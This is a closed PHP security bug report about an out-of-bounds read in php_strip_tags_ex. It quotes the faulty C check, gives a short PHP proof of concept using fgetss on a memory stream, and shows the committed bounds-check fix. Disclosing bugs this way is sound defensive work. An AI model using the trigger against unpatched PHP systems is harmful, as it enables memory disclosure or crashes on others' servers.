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Sec Bug #79156 Another OOB read in php_strip_tags_ex
Submitted: 2020-01-22 19:22 UTC Modified: 2020-01-23 07:15 UTC
From: ryat@php.net Assigned: stas (profile)
Status: Closed Package: Strings related
PHP Version: 7.2Git-2020-01-22 (Git) OS: *
Private report: No CVE-ID: None
 [2020-01-22 19:22 UTC] ryat@php.net
Description:
------------
string.c:
```
PHPAPI size_t php_strip_tags_ex(char *rbuf, size_t len, uint8_t *stateptr, const char *allow, size_t allow_len, zend_bool allow_tag_spaces)
{
	...
			case '>':
                ...
					case 2: /* PHP */
						if (!br && lc != '\"' && *(p-1) == '?') {
```

PoC:
```
<?php

$stream = fopen('php://memory', 'w+');
fputs($stream, "<?\n>");
rewind($stream);
var_dump(fgetss($stream));
var_dump(fgetss($stream));
fclose($stream);

?>
```

Fix:
```
if (!br && lc != '\"' && p >= buf + 1 && *(p-1) == '?') {
```


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History

AllCommentsChangesGit/SVN commitsRelated reports
 [2020-01-22 19:43 UTC] ryat@php.net
-Summary: OOB read in php_strip_tags_ex +Summary: Another OOB read in php_strip_tags_ex
 [2020-01-23 07:15 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2020-01-23 07:15 UTC] stas@php.net
The fix for this bug has been committed.
If you are still experiencing this bug, try to check out latest source from https://github.com/php/php-src and re-test.
Thank you for the report, and for helping us make PHP better.


 
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Last updated: Tue Feb 18 01:01:26 2020 UTC